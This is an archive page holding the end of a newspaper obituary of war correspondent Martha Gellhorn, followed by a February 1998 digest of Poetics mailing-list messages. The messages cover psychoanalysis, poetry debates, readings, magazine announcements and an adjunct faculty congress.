Her learning process involved European poverty and politics and an affair, later a short marriage, with the radical journalist Bertrand de Jouvenal, who, as a youth, had been the lover of a middle-aged Colette. She innocently took a room in a bawdy-house and knowingly bought absurd Parisian couture cheap at the end of the season. She was also introduced to her first Nazis, "scrubbed and parrot-brained". They didn't teach a girl any of that at Bryn Mawr.

The process also covered returning to - and crossing - America, walking in on an oil boom and on the great Russian film director Sergei Eisenstein, who was failing to film in Mexico, and writing her first novel. It took her on to the payroll of the Federal Relief Agency, for which she filed reports on the lives of the forgotten poor, which read like epic captions for Depression photographers: she was sacked for inspiring local revolutions.

It allowed her the naivety to cadge room and board from HG Wells in London, where she wrote a vivid eye-witness account of a southern lynching she later admitted that she had never seen; and to accept the offer of President Roosevelt and his wife, Eleanor - her mother's campaigning friend - to stay in the White House, which was pretty homey then. She put up there in Abraham Lincoln's bedroom and was fed regular meals during an awkward patch, when her furious moral righteousness made her otherwise unemployable.

There she finished The Trouble I've Seen, fiction based on her underclass investigations. It was published in 1936, with her portrait, blonde and elegant, on its dust jacket: this was a titillating combination and a success. She was immediately celebrated, but fled the hoopla by holidaying in Florida.

At a Key West bar called Sloppy Joe's, she ran into Ernest Hemingway, bulky in his "odiferous Basque shorts". Two big celebs in a small town. His books had been her models. She said so. He had seen her face on Troubles. All afternoon and evening, they drank Papa Dobles, two-and-a-half jiggers of white Bacardi rum, juice of two fresh limes, swirled in a rusty electric blender. It sounds like a Hollywood "meet- cute" - she walked into the bar in a black dress and high heels, with her terrific mother in tow. The Bacall and Bogart versions were merely re-makes. She seems to have thought she had found the partner her nerve deserved. Hemingway was hooked.

He was also married and off to cover the Spanish Civil War. She decided to join the fight and him (perhaps not in that order), this time with a rucksack and $50, a letter of introduction from Collier's magazine, and a notion that the "correct response to a war against fascism was simply to be present on the right side". She thought that war correspondents reported the battlefield, and was surprised, but willing, when one suggested that a description of ordinary life in besieged Madrid was worth sending home.

Collier's printed the piece, put her name on their masthead,
and there she was, a war correspondent and Hemingway's lover -
and under his patronage, eating his tinned supplies and
sharing his mattress on the road,. yet still stubbornly
independent. Her reports from Spain were more candid than
his. The ration portion of dried salted cod weighed as
heavily as the shells. She did not have to pretend to be an
authority.

One editor at Collier's appreciated and trusted her copy and, for eight years after that, she could go where she wanted and write what she saw. "I had the chance to see the life of my time, which was war." The British unprepared for total war; the Czechoslovak army walking home after the German land-grab; the Finns democratic but frozen, fighting the Russians; the Chinese, in hunger and filth, out-enduring the Japanese invaders. Her base was a house outside Havana, which she had made over for Hemingway and herself. They married and settled in. They worked on fiction. But Gellhorn wanted to be in on the war at last breaking out in Europe, and a crazy Caribbean sea-hunt for U-boats (with a resulting, unpublished, extremely funny piece) was not enough. She was drinking daiquiris in a bar on the Mexican border when the newspaper boy hawked her the edition reporting Pearl Harbour.

Hemingway was having a fine time with his sporting Cuban buddies chasing phantom Nazi subs. He had already done global conflict. Gellhorn failed to persuade him to engage with the world at war a second time around. The marriage fractured. She reached London and followed the action in Europe and

North Africa as closely as she could with, or usually without, official permission, and with directions from friends in useful places. She advanced recklessly up through Italy with the Allies. Hemingway's telegram to her there read: "Are you a war correspondent or my wife in bed?"

This time, he eventually came after her. Their rivalry was not friendly anymore. She seems to have been Hemingway's personal bullshit-detector, especially when she coldly watched him holding court in a London hospital after a drunken accident. Gellhorn stowed away on a DDay hospital ship and went ashore at Normandy. Hemingway crossed the Channel as officially as possible, but did not land.

In a hotel in free Paris, Gellhorn was advised by her old buddy, the photographer Robert Capa, to demand a divorce. She did, then loosely attached herself to the 82nd Airborne through the bitter 1944-45 winter of the Battle of the Bulge, and also to its leader, the heroic General James Gavin. She was present when the chaotic mass of the Russian army swarmed up to the other Allies. She was in newly-liberated Dachau, at the apex of her anger, when peace was declared.

What the inmates told her there - that it had been useless to protest or weep about what happened to them was the antithesis of all she had believed in; she mistrusted Germany ever after. Her St Louis ancestry included both immigrant Germans and Jews.

About all of these places and people she wrote simply. An American prose style of Shaker plainness was laboured at by many of her contemporaries. To Gellhorn, it seems to have come naturally. She spoke that way. She believed real reporters did not take notes, but knew instinctively what remained forever important - trivia, the tone of the times. This might include a GI toasting himself a front-line cheese sandwich from K rations, or a Dutch slave labourer, recently freed, buying tulips in the ruins of a German city.

It seldom included any utterance, or even mention, of a politician. "All politicians are bores and liars and fakes. I talk to people," she said. To read her dispatches (collected as The Face Of War and The View From The Ground) is to be granted instant access to where she was, whenever it was.

The business in peace was to settle down. As a woman divorced on the grounds of abandonment, Gellhorn made some random gestures to pacification. These included acquiring a decrepit property in London, returning to Washington - only to find herself in solo outrage against McCarthyism - trying fiction and playwriting, and adopting a 15-month-old Italian orphan, Sandy. She brought him up, supporting their life together in cheap places like Mexico by journalism and writing potboilers for women's magazines - novellas differing from her own

taste in their happy endings. And from her own life too, for General Gavin had married a nice young girl.

Gellhorn's next love, David Gurewitsch (a protégé of Mrs Roosevelt) could barely cope with her. She was courted by Tom Matthews, a recently retired editor of Time magazine, with a Mt Rushmore profile and a sound mind, and they married. But he wanted an urbane life in Britain, and she missed the excitement, and even more the whole-soul engagement, of the fight against fascism. "I am a loner. I am not a team player," she said once - she could certainly be unsociable, abrupt and grand - and "The ideal is to live five blocks away from a man who makes you laugh and is wrapped up in -his work". The marriage petered out after nine years.

And so, by the 1960s, she was wandering again, observing more of the 50-plus countries of her travels. She knew a lot about how people respond to place, especially when they respond by misbehaving: in that honestly funny book Travels With Myself And Another, she confessed how she misbehaved herself, how she was revolted by stench in west Africa and daunted by dengue fever going up river by canoe. She repeatedly fell in love with countries, affaires which led her to hang curtains in impossible shacks. Her long-lasting final devotion was to a cottage on the Welsh borders, which had demanding vegetables in the garden.

Her association with Collier's had lapsed with her editor's death in the 1940s: thereafter, she had often to give herself assignments, and pay her own expenses, to satisfy her curiosity. For one long period, she had a writer's block; for another, there was an editorial block against her copy - she was no longer a sexy novelty nor yet venerable, and the robustness of her New Deal attitude was out of fashion. Nevertheless, with help - which she remembered as rather minimal from the Guardian, she reached Vietnam in 1966 to report the war (of which she was ashamed) that confirmed America as a colonial power.

Her long perspective eventually became valued again, when she returned to Madrid at the time of Franco's death, or to Castro's Cuba, where she saw, in the splendour of the full- grown trees now filling the garden of her old home, "the years of my life made real". At 80, she took off to inquire into the US invasion of Panama, supple of spine and mind, stroppy as ever. Granta took her up as a sibyl; its editors and writers longed to have lived as she had done.

Gellhorn stayed flexible, except, notably, in her attitude to Israeli-Palestinian relations; she saw Israel always as the defiant David of its founding battles. She planned to go snorkelling with Paul Theroux well into her eighties. When

surgery on her eyes went awry, she had the doctor professionally cursed by a Malagasy medicine man.

She dined with the BBC's John Simpson on his way to Bosnia. She saw off the East-West nuclear confrontation she most feared. She became part of the century's image bank. And to the end, this fierce pacifist reported drinking pitchers of red wine, or iced Scotch, with the children and the grandchildren of fighters she had known.

Veronica Horwell

Julia Pascal writes: I was writing a play set at the Nuremberg Trials. Martha Gellhorn had been there. I wrote to her London publishers, she called me and in the next post came an American edition of her report. I rang to thank her and suggest lunch. In her strong St Louis voice she rasped, "I loathe lunch. I drink".

In her Eaton Square flat, she took whisky on the rocks and offered me "a very good vodka someone gave me for Christmas". At 82, Gellhorn was sharper than almost anyone I had ever met. Slim, well made-up, elegant, she obviously cared about her appearance. She was quick to tell me mine needed improvement. "You ought to put your hair up," she said, examining my long hair with disapproval. "Looking good isn't just vanity. It's a public service."

The hair-up obsession was linked to her past. As a young woman, she was always chignoned, "until the Nazis ruined my ear". She had contracted an infection in Germany in 1933. Doctors in Nazi armbands botched her ear operation, so, with a huge bandage around her ear, without money or passport, she fled to Paris, ending up in the American Hospital. She never wore her hair up again.

We spoke about Nuremberg and I told her how watching hours of celluloid archive gave me the feeling that the trials only existed on film. "Don't forget I've been to Dachau," she replied. "I've seen Germany flooding with a mad stream of slave labourers. For me, the unreal people were the people on trial. I looked at them day after day and was forced to think about what crimes those men had committed." She talked of sleeping in a makeshift dormitory in a disused factory. "I came back from the trials and vomited night after night. It was impossible to hear all the testimony without a violent reaction. Then I thought, if this is what I feel hearing this, what was it like to live it?"

She spoke easily of the ageing process and blamed the onset of her arthritis on the British damp. Always spoilt by male attention, she noticed her "invisibility" with advancing age. "But," she announced, "there are advantages. Nobody is jealous once you get to 70 or 75, and then there is always the companionship of darling young men.

"Why do people talk of the horrors of old age? It's great. I feel like a fine old car with the parts gradually wearing out, but I'm not complaining. Those who find growing old terrible are people who haven't done what they wanted with their lives."

Martha Gellhorn, journalist, born November 8, 1908; died
February 15, 1998

ENDS

----------130E8C3FAFCAEE37E9C80CFE--

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619. **Joe Brennan**
Re: Lacan on Poetry
Tue 17 Feb 1998

In a message dated 98-02-17 02:41:51 EST, you write:

<< up, it is an unreasonable imposition to require as a qualification to discuss psychoanalysis that one have been an analyst or analysand, just as it would be unreasonable to limit the discussion of poetry to poets or christianity to christians. I'm not sure, however, that I'm disqualified on that account. I was in psychoanalytic psychotherapy, couch and all, three times a week for three and a half years. I was myself a psychotherapist for 15 years, during which I had a lot of professional contact with those of the psychoanalytic persuasion, some of whom are friends, some not, and some are good therapists, perhaps despite their theoretical underpinnings. This involved extensive discussions of cases both in formal case conferences and in private consultations. >>

Nope, the issue is not who can comment on what; the issue is the

↑ Index

620. **Harold Rhenisch**
Re: Fenton on Hughes' Plath
Tue 17 Feb 1998

>>Given that for poetic triteness & drivel, Fenton perfectly matches his buddy Hughes, the piece is the expected defense & illustration of Hughes greatness. Wish Fenton had remained the excellent journalist that he was in his early days -- in the realm of poetry & poetics, he can't write his way out of a paperbag.

Pierre<<

I too long for his erstwhile journalism, but you gave me a fine image here of Fenton with a paper bag on his head and someone scrawling poems on the

paper, maybe even gluing on Merz scraps, and sending him out to walk the streets.

Muchlike all one's friends signing a leg cast.

thanks for that,

Harold Rhenisch
[redacted]

↑ Index

621. **Harold Rhenisch**
Re: Why poet funny, no?
Tue 17 Feb 1998

> I dont see a problem in talking about experimental poetry, as long as what
> you are doing redembles the procedure in experiments you did in Chem
> classes in highschool. And as long as you remember that most experiments
> fail.

My Chem teacher interrupted a lab in molecular modelling one day to show us how to make giraffes and elephants out of the spheres and sticks instead. I can't figure out if that is one of your failed experiments or not. Perhaps he only got into chemistry as the result of a failed experiment.

Harold

↑ Index

622. **Christopher W. Alexander**
Re: Why poet funny, no?
Tue 17 Feb 1998

---

my high school physics teacher used to give a problem,
something about shooting at a monkey or something –
anyway, I don't remember the problem but afterwards
we did use a pellet gun to shoot at a beanbag-monkey
hung from the projection screen...

so you see, I think "experimental" is a perfectly acceptable term, now don't you? or possibly I'm just flashing back to my late-60s training with the Revolutionary Cells.

Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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623. **Christopher W. Alexander**

Re: Dale and the b-c's

Tue 17 Feb 1998

David Bromige the 3rd writes:
> I dont think _dissent_ is the problem;
> it's the rudeness and the prejudices.

¶ this is definitely a concern. possibly I lack a sense of humor (cf. my post on experimental physics) and so can't appreciate Dale's posts, but it does seem that Henry, for ex., is capable of existing here without gratuitously insulting other people.

now as to what Entity any single person is dissenting from, I'm a bit @ a loss. it's not as if this list is all that mono-logical to begin with (except for bad old Bowering), and I tend to understand Henry and Dale as other poets with other opinions, whom I dis-/agree with on a case-by-case basis – not as Heroic Outsiders come to turn the moneylenders out of the temple.

possibly if we stop thinking of ourselves as Important Individuals Who Are Making History we can talk a little bit about poetry or poetics or gameshows or anything without crap added (for extra flavor)? it was Albert Speer used to design his buildings to crumble elegantly (evidence of a Once Mighty Culture); me, I'd just like a little bigger place.

incidentally, I'm Spartacus.

Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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624. **Pierre Joris**
Re: Lacan on Poetry/oops
Tue 17 Feb 1998

Joe Brennan wrote:

> *In a message dated 98-02-17 02:41:51 EST, you write:*
>
> *<< Yup, it is an unreasonable imposition to require as a qualification to discuss psychoanalysis that one have been an analyst or analysand, just as it would be unreasonable to limit the discussion of poetry to poets or christianity to christians. I'm not sure, however, that I'm disqualified on that account. I was in psychoanalytic psychotherapy, couch and all, three times a week for three and a half years. I was myself a psychotherapist for 15 years, during which I had a lot of professional contact with those of the psychoanalytic persuasion, some of whom are friends, some not, and some are good therapists, perhaps despite their theoretical underpinnings. This involved extensive discussions of cases both in formal case conferences and in private consultations. >>*
>
> *sorry, I inadvertently hit the mouse key, which is built into the keyboard.*
>
> *To resume:*
>
> *Nope, the issue isn't who can discuss psychoanalysis, although this is the tree that everyone hides behind. I assume you must have some resentment for whatever failure you experienced in your days on the couch; ...*

ahh, the cat is out of the bag: the old self-fulfilling prophecy: if there is criticism of the Freudian couch, then it is the patient who failed -- obviously it couldn't be the analyst or the analyst's system of beliefs -- and all criticism on the "patient's" part can then be construed as "resentment" which feeds it straight back into the psychoanalytic machinery -- three more years on the couch at so much an hour...

Pierre

> *Joe Brennan*

--
==========

pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
==========

↑ Index

625. **Joe Brennan**
Re: Lacan on Poetry/oops
Tue 17 Feb 1998

In a message dated 98-02-17 02:41:51 EST, you write:

<< Yup, it is an unreasonable imposition to require as a qualification to discuss psychoanalysis that one have been an analyst or analysand, just as it would be unreasonable to limit the discussion of poetry to poets or christianity to christians. I'm not sure, however, that I'm disqualified on that account. I was in psychoanalytic psychotherapy, couch and all, three times a week for three and a half years. I was myself a psychotherapist for 15 years, during which I had a lot of professional contact with those of the psychoanalytic persuasion, some of whom are friends, some not, and some are good therapists, perhaps despite their theoretical underpinnings. This involved extensive discussions of cases both in formal case conferences and in private consultations. >>

sorry, I inadvertently hit the mouse key, which is built into the keyboard.

To resume:

Nope, the issue isn't who can discuss psychoanalysis, although this is the tree that everyone hides behind. I assume you must have some resentment for whatever failure you experienced in your days on the couch; you must know, however, that not everyone who has been in analysis has had the same experience. In any event, I'm speaking of psychoanalysis from the Freudian/Lacanian perspective, and I'm objecting to the cavalier manner in which the Freud/Lacan paradigms are dismissed out of hand as having no value, and I'm objecting in particularly to being told that I, and many, many others, are blindly following an unsupportable doctrine that has its roots in Wagner. Isn't it just as fair for me to suggest that had you chosen a different analyst, things might have worked out better for you? Since Lacan, with justification, inveighed against the brand of psychoanalysis being practiced within the U.S., wouldn't it also be fair to suggest that perhaps your experience isn't as heavily weighted as it might seem at first blush?

As a matter of fact, Mark, I'm not prohibiting anyone from saying anything; being censored isn't the same thing as being held intellectually accountable for one's remarks. Why should you think that your predjudices, and that's exactly what they are, should go unchallanged? Personally, I think that those who want to discuss Freud/Lacan/whoever should be able to do so without the bland dismissals and put-downs of the anti crowd, who continually declare the entire Freudian/Lacanian undertaking as bullshit, occasionally with snippets of other authors to buttress their acrimonious and anti-intellectual opinions, and they frequently do it with techniques more suitable to political machines; for example, Freudians/Lacanians are often accused of being intractable, intolerant, and rigid in both theory and debate by exactly those who capriciously reject Freud as having any current value -- just as you declared that the oedipal complex, penis envy, etc to be ipso facto null & void, or worse. End of discussion. I learned some time ago the intransigence of the anti's in this arena, and I have no illusion of changing anyone's mind about it. Thankfully, the Lacanian nets allow one to elaborate on one's thinking in a space that's relatively free of the air of intimidation and animosity that seems to dominate this one.

Joe Brennan

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626. **Mark Weiss**
Re: Oklahoma query
Tue 17 Feb 1998

George was until recently head of the English Dept. and is still a prof. at U of O--he and Rochelle know lots of sooners.

At 08:27 AM 2/17/98 -0500, you wrote:
>Try George Economou at Univ. of O. He directs the Creative Writing program
>there, or did recently. Also Rochelle Owens.
>
>
>At 7:37 PM -0500 2/16/98, [redacted] wrote:
>>Sorry to bother the list with this rather off-topic request, but...
>>
>>For help with a linguistic survey related to an article I and my
>>colleague are doing
>>
>>if anyone here is in or from Oklahoma, would you contact me please?
>>
>>and
>>

>>if anyone is presently at an academic institution in Oklahoma,
>>would you contact me please.
>>
>>thanks,
>>
>>beth simon
>>assistant professor, linguistics and english
>>indiana university purdue university
>>[redacted]
>
>

↑ Index

627. **Joe Brennan**
Re: Vizpo? Oh, no
Tue 17 Feb 1998

Well George, in Latin America, to be silenced usually involves all five of the senses; you find this amusing, too? Hmmmmm.

Joe Brennan

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628. **MAYHEW**
Why I'm an experimental poet, part 57
Tue 17 Feb 1998

Zola wrote "The Experimental Novel" in which he described the novel as a scientific experiment. Does anyone know any older uses of the term applied to literature or poetry? I generally took the term as roughly synomymous with innovative. It has a nice sort of "let me tinker in my backyark and see what I come up with" connotation. How about "avant-garde"? Is this still a usable term?

Jonathan Mayhew
Department of Spanish and Portuguese
3062 Wescoe Hall
University of Kansas
[redacted]

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629. **k. lederer**
Queries of a different stripe--
Tue 17 Feb 1998

Sorry for clogging up the list with address queries--but it seems like a slow day--

I am looking for the current addresses of the following (have had mail returned to sender from these):

Ray DiPalma

Bill Howe

Stephen Paul-Miller

Chuck Alexander

Stacy Doris

Jessica Grim

Steve Benson

These addresses are on my mailing list for Explosive--

If any of the above are on the list--or if there is anyone else on the list who would like to be on the mailing list (I send off news of readings, invitations to subscribe, sometimes a free issue etc...) please back-channel--

Thanks!
Katy

PS: Issue number four should have reached most subscribers by now--please inform if not...

Issue number five--"Spactacular Emotion"--is shaping up beautifully, and will include work by:

Josh May, Juliana Spahr, Tan Lin, Martin Corless-Smith, Emily Wilson, Doug Powell, Pam Lu, and an incredible tape of sound-collage by Alex Cory--

To orderan individual issue or to subscribe, send five dollars per issue to:

Katy Lederer
420 E Davenport #2
Iowa City, IA 52245

(Checks should be made payable to me...)

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630. **louis stroffolino**
RANSOM STROFFOLINO READING
Tue 17 Feb 1998

Hello I will be reading poetry in BROOKLYN NY (at the
FALL CAFE 307 Smith St. Carroll Gardens host Prageeta Sharma)
Sunday this coming 3PM.....
with JANE RANSOM.....
Ms. Ransom is the author of 2 books of poetry (most recently,
SCENE OF THE CRIME, Story Line Press), and a very strange
novel (that should be of interest to readers of Harryman etc)
(BYE BYE,NYU PRESS 1997). I think she'll read poetry.
If you can't come for me, come for her----
If you can't come for either of us, come for brooklyn.
I should probably not mention that she's the grandaughter
of a famous equilibrist.
for more information, call me [redacted]....
chris

↑ Index

631. **Aldon Nielsen**
Re: curiouser and curiouser
Tue 17 Feb 1998

---

while I was away:

Kent made it clear that he does not yet know who wrote the letters:

Dale opined that the silence of the malefactors in listspace spoke volumes:

I think I'm finally beginning to appreciate their humor --

↑ Index

632. **Mark Weiss**
Re: Lacan on Poetry/oops
Tue 17 Feb 1998

I could argue my points in detail (and they're not exactly novel), and I could illustrate them from practice. I should think that the burden of proof would rest with those who assert novel science. Be that as it may, I think, as I said before, that this is not the place for that discussion. Which leaves you free to assume that our disagreements are because of my neuroses or because my analysis was unsuccessful. Ad homina get you only so far. I'm glad you had a good time on the couch. You might have had an even better time in an office where the

therapist doesn't require his patients to become true believers. Quien sabe? Hereafter I'm mum.

At 01:06 PM 2/17/98 EST, you wrote:
>In a message dated 98-02-17 02:41:51 EST, you write:
>
><< Yup, it is an unreasonable imposition to require as a qualification to
> discuss psychoanalysis that one have been an analyst or analysand, just as
> it would be unreasonable to limit the discussion of poetry to poets or
> christianity to christians. I'm not sure, however, that I'm disqualified on
> that account. I was in psychoanalytic psychotherapy, couch and all, three
> times a week for three and a half years. I was myself a psychotherapist for
> 15 years, during which I had a lot of professional contact with those of
> the psychoanalytic persuasion, some of whom are friends, some not, and
some
> are good therapists, perhaps despite their theoretical underpinnings. This
> involved extensive discussions of cases both in formal case conferences and
> in private consultations. >>
>
>
>sorry, I inadvertently hit the mouse key, which is built into the keyboard.
>
>
>To resume:
>
>Nope, the issue isn't who can discuss psychoanalysis, although this is the
>tree that everyone hides behind. I assume you must have some resentment
for
>whatever failure you experienced in your days on the couch; you must know,
>however, that not everyone who has been in analysis has had the same
>experience. In any event, I'm speaking of psychoanalysis from the
>Freudian/Lacanian perspective, and I'm objecting to the cavalier manner in
>which the Freud/Lacan paradigms are dismissed out of hand as having no
value,
>and I'm objecting in particularly to being told that I, and many, many
others,
>are blindly following an unsupportable doctrine that has its roots in Wagner.
>Isn't it just as fair for me to suggest that had you chosen a different
>analyst, things might have worked out better for you? Since Lacan, with
>justification, inveighed against the brand of psychoanalysis being practiced
>within the U.S., wouldn't it also be fair to suggest that perhaps your
>experience isn't as heavily weighted as it might seem at first blush?

>
>As a matter of fact, Mark, I'm not prohibiting anyone from saying anything;
>being censored isn't the same thing as being held intellectually accountable
>for one's remarks. Why should you think that your predjudices, and that's
>exactly what they are, should go unchallanged? Personally, I think that
those
>who want to discuss Freud/Lacan/whoever should be able to do so without the
>bland dismissals and put-downs of the anti crowd, who continually declare the
>entire Freudian/Lacanian undertaking as bullshit, occasionally with snippets
>of other authors to buttress their acrimonious and anti-intellectual
opinions,
>and they frequently do it with techniques more suitable to political
machines;
>for example, Freudians/Lacanians are often accused of being intractable,
>intolerant, and rigid in both theory and debate by exactly those who
>capriciously reject Freud as having any current value -- just as you declared
>that the oedipal complex, penis envy, etc to be ipso facto null & void, or
>worse. End of discussion. I learned some time ago the intransigence of the
>anti's in this arena, and I have no illusion of changing anyone's mind about
>it. Thankfully, the Lacanian nets allow one to elaborate on one's
thinking in
>a space that's relatively free of the air of intimidation and animosity that
>seems to dominate this one.
>
>
>Joe Brennan
>
>

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633. **dbkk**
Dahlen/Gudath at SPT
Tue 17 Feb 1998

Small Press Traffic Presents:

Beverly Dahlen
Lauren Gudath

Friday, February 20, 7:30 p.m.
New College Theater
777 Valencia Street

San Francisco
$5 (free to New College students)

Beverly Dahlen, a native Oregonian, has lived and worked in San Francisco for many years. Three volumes of her ongoing work A Readin_ have appeared, and excerpts from it continue to appear in periodicals (Bombay Gin, Mirage #4/Period[ical], The Iowa Review). Two selections from Dahlen's work will be included in the anthology Moving Borders, edited by Mary Margaret Sloan, forthcoming from Talisman House. Dahlen has thought hard and long about literacy, language, perception and oppression and what is more, she has teased her thought, like Ann-Margret's hair in Viva Las Vega_, into an intoxicating poetry.

Lauren Gudath, born in Tampa in 1970, lives in San Francisco. Wolves, her long poem written in 1995, was published as a chapbook by Xurban press. Her work has appeared in Superflux, Proliferation, Clamour and Idiom On-Line Journal. She is a young poet whose careful, broken and bruised line extends a remarkable contention, like a blanket of starlight, over the materials of a woman¹s life.

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634. **Carolyn Koo**
No Roses Review
Tue 17 Feb 1998

Available soon: the final issue of No Røses Review, featuring:

Diane Beaty, Star Black, Sherry Brennan, Elaine Equi, Saundra Fleming, Graham Foust, Karen Garthe, Arpine Grenier, Paul Hoover, Caroline Knox, Maryrose Larkin, Lyn Lifshin, Rachel Loden, Brian Lucas, Joshua McKinney, Stephen Mounkhall, Fred Muratori, Beth Murray, Gale Nelson, Kathleen Ossip, Mary Ann Samyn, Sophia M. Starnes, Cynthia Tedesco, Gregory St. Thomasino, Martha Modena Vertreace, Liz Waldner, Rosmarie Waldrop translator, Michael Speier, and Susan Wheeler

Back issues also available:

#7 Nin Andrews, Bruce Andrews, Star Black, W.K. Buckley, Cheryl Burket, William Doreski, Pamela Erens, Renee Gladman, Arpine Grenier, Philip Kobylarz, Maryrose Larkin, John Latta, Rachel Loden, Elizabeth MacKiernan, Jennifer Martenson, Wendy McClure, Michelle Murphy, Eve Packer, Kelly Ritter, Mary Ann Samyn, Spencer Selby, giovanni singleton, Fiona Templeton, John Tritica

#6 Clayton Eshleman, Valerie Fox, Graham Foust, Barbara Guest, Lyn Hejinian, Ray Jordan, Mary Rising Higgins, Mickie Kennedy, Joel Lewis, Paul Long, Elizabeth MacKiernan, Sheila E. Murphy, Joe Napora, Gale Nelson, John Perlman,

Gala M. Pierce, Elizabeth Robinson, Leslie Scalapino, David R. Stockwell, David Trinidad, Martha Modena Vertreace, Susan Wheeler

#5 Beth Anderson, Laynie Browne, Joel Brouwer, W.K. Buckley, Wendy Jeanne Burch, Michael Chitwood, Albert Cook, Clark Coolidge, Karen Davies, Connie Deanovich, Edward Falco, Graham Foust, William L. Fox, Karen Garthe, Caroline Knox, Jessica Lowenthal, Davis McCombs, Michael Melcher, Fred Muratori, James Sacre, Christy Sheffield Sanford, Alfred Schwaid.

No Røses Review
150 Duane St. #8
Redwood City, CA 94062

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635. Judy Roitman
address query
Tue 17 Feb 1998

Anyone have Alan Davies' address? (e- or snail --- last I heard there was no e-) Someone gave me the snail mail address several months ago but I no longer can find it.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

↑ Index

636. d powell
Re: curiouser and curiouser
Tue 17 Feb 1998

Reply to: Re: curiouser and curiouser

Aldon Nielsen wrote:
>while I was away:
>
>Kent made it clear that he does not yet know who wrote the letters:
>
>Dale opined that the silence of the malefactors in listspace spoke volumes:

>
>I think I'm finally beginning to appreciate their humor --

Has anyone thought that perhaps the general silence of the list on these issues is really just a sign of apathy? I mean, yes I suppose I would think that this thing or that thing was horrible perhaps if it had been said to me or about me, etc. But I don't think that I would go kvetching about it on this list; I mean it's all just too dramatic. Nor do I think this is the place to be arguing about whether or not a poet is a good person. I don't give a damn about poetzes personal lives; if I did, I suppose there would be a lot of poets I wouldn't be reading. I'm waiting for all of this stuff to just blow away, so that maybe we can all talk poetics (instead of petty politics). As for all of the name calling and finger pointing, well for chrissakes, didn't y'all get your fill of it in kindlinggarten? I refuse to participate in any more parlour games until the adults come back. Nyah nyah nyah nyah...

Doug

==========
D A Powell [redacted]
==========

↑ Index

637. **Judy Roitman**
Ken Irby
Tue 17 Feb 1998

It is with great pleasure that I announce that, as of Fall 1998, Kenneth Irby will be an associate professor with tenure at the University of Kansas.

Thanks to those of you on this list who helped in the effort (and if I can find your e-addresses I'll thank you personally).

Sometimes the good guys win.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://www.math.ukans.edu/~roitman/

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638. **Poetics List**

Adjunct Faculty Congress

Tue 17 Feb 1998

Andrew Levy asked that this announcement be posted:

The Doctoral Students' Council of the City University of
New York Graduate Center
Welcomes:
Second National Congress of Part-Time,
Adjunct,Non-Tenure-Track and GTA Faculty

"Our Time Has Come"
New York City
April 3,4,5 1998

The Second National Congress of Part-Time, Adjunct, Non-Tenure-Track and GTA Faculty will be held in New York on April 3, 4 and 5 1998. The Congress will open at the CUNY Graduate Center at 33 West 42 street. The Second National Congress is an event organized by faculty who are concerned about the current and future state of higher education. Plenary and workshop sessions facilitated by faculty and faculty organizers will address the key strategies, needs and visions of part time/ adjunct, GTA and non-tenured faculty over the three day working conference. This conference takes place at a time when faculty, both full and part time, at institutions of higher education are under an escalating assault. The current trend to degrade the profession through the creation and expansion of an increasingly polarized multi-tier system is academically indefensible and is in the worst interest of students, their parents and the increasingly exploited instructional work-force. The administrative and governing apparatus prioritizes profit-oriented research, endowments, infrastructure, and administration over and against education. The push to drive down faculty salaries, eliminate tenure and populate the university with a group of over-worked contingent laborers may advance the careers of some administrators, but it represents a betrayal of the university's educational mission. In order to combat the forces arrayed against students and faculty alike, we are coming together to educate and organize. This second congress is part of a growing movement of lower-tier faculty, students, and organizers to take an active role in the struggle to save higher education. This congress is envisioned as the continuation of an organized effort by lower-tier faculty to transform the institutions in which they teach. Please publicize this in appropriate forums.

CUNY Graduate Center / 33 West 42nd Street / New York, NY, 10036 Brecht Forum/122 West 27th Street/ 10th Floor/New York, NY, 10001

****

Schedule:

Opening: Friday Plenary April 3 - 3-9
Workshops on Saturday from 9 - 5:30
(Party Saturday Night at The Brecht Forum)
Follow-up at the Brecht Forum on April 5 from 10 am to 3 pm.
****

There is no conference fee, but we ask that you register ASAP.

REGISTRATION- reply to: [redacted] (or see below).

REGISTRATION

Name:

Affiliation:

Phone #:

E-Mail:

Do you need accommodations information ?

Is there a workshop that you would be interested in (describe it):

Would you be interested in leading a workshop (describe it)?

Can your organization make a contribution to help defray the costs of this event?

$50. $100. $250 other_____

Checks can be made out to: CUNY Graduate Center and mailed to:
The Adjunct Project
c/o Doctoral Students' Council
25 W. 43rd St., Rm. 400
New York, NY 10036

If you cannot register by e-mail mail registration to the above address. For further information, please call Eric at [redacted].

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639. **Dr. Joshua McKinney**
Re: No Roses Review
Tue 17 Feb 1998

Dear Ms. Koo,

Final issue? Does this mean that your magazine will soon be defunct? Should I offer my condolences, or are you moving on to bigger/better things?

Josh McKinney

At 03:33 PM 2/17/98 EST, you wrote:
>Available soon: the final issue of No Røses Review, featuring:
>
>Diane
Beaty, Star Black, Sherry Brennan, Elaine Equi, Saundra Fleming,
Graham
>Foust, Karen Garthe, Arpine Grenier, Paul Hoover, Caroline Knox,
Maryrose
>Larkin, Lyn Lifshin, Rachel Loden, Brian Lucas, Joshua McKinney,

>Stephen Mounkhall, Fred Muratori, Beth Murray, Gale Nelson,
>Kathleen
Ossip, Mary Ann Samyn, Sophia M. Starnes, Cynthia Tedesco,
>Gregory St.
Thomasino, Martha Modena Vertreace, Liz Waldner,
>Rosmarie Waldrop
translator, Michael Speier, and Susan Wheeler
>
>
>Back issues also
available:
>
>#7
>Nin Andrews, Bruce Andrews, Star Black, W.K. Buckley,
Cheryl Burket, William
>Doreski, Pamela Erens, Renee Gladman, Arpine
Grenier, Philip Kobylarz,
>Maryrose Larkin, John Latta, Rachel Loden,
Elizabeth MacKiernan, Jennifer
>Martenson, Wendy McClure, Michelle Murphy,
